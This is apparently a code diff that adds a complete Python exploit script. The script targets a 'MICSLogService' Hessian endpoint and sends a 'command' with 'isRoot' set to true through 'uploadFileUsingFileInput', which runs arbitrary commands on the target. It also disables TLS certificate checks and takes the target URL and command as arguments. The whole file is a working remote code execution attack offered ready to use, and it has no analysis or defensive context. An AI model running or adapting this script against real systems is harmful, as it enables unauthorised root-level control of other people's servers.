|
| 1 | +from pyhessian.client import HessianProxy |
| 2 | +from http.client import HTTPSConnection |
| 3 | +import ssl |
| 4 | +import sys |
| 5 | +import argparse |
| 6 | +import requests |
| 7 | +import urllib3 |
| 8 | +urllib3.disable_warnings() |
| 9 | + |
| 10 | + |
| 11 | +# Backup original constructor |
| 12 | +_original_https_init = HTTPSConnection.__init__ |
| 13 | + |
| 14 | +def patched_https_init(self, *args, **kwargs): |
| 15 | + # If context is not provided, use unverified context |
| 16 | + if 'context' not in kwargs: |
| 17 | + kwargs['context'] = ssl._create_unverified_context() |
| 18 | + _original_https_init(self, *args, **kwargs) |
| 19 | + |
| 20 | + |
| 21 | +def exploit(base_url, command): |
| 22 | + # Define the Hessian service endpoint |
| 23 | + service_url = f"{base_url}/mics/services/MICSLogService" |
| 24 | + |
| 25 | + r = requests.get(service_url, verify=False) |
| 26 | + if r.status_code != 405: |
| 27 | + print('[-] Vulnerable endpoint was not reachable - bailing') |
| 28 | + sys.exit() |
| 29 | + |
| 30 | + # Monkey-patch the constructor |
| 31 | + HTTPSConnection.__init__ = patched_https_init |
| 32 | + |
| 33 | + dto = { |
| 34 | + "command": command, |
| 35 | + "isRoot": True, |
| 36 | + } |
| 37 | + |
| 38 | + # Create a Hessian proxy for the service |
| 39 | + proxy = HessianProxy(service_url) |
| 40 | + |
| 41 | + # Call a method on the Hessian service: |
| 42 | + details = proxy.uploadFileUsingFileInput(dto, None) |
| 43 | + if details: |
| 44 | + print('[+] Successfully executed command on target!') |
| 45 | + |
| 46 | +if __name__ == "__main__": |
| 47 | + parser = argparse.ArgumentParser() |
| 48 | + parser.add_argument('-u', '--url', help='The URL of the target', required=True) |
| 49 | + parser.add_argument('-c', '--cmd', help='The command to run', required=True) |
| 50 | + args = parser.parse_args() |
| 51 | + |
| 52 | + exploit(args.url, args.cmd) |
0 commit comments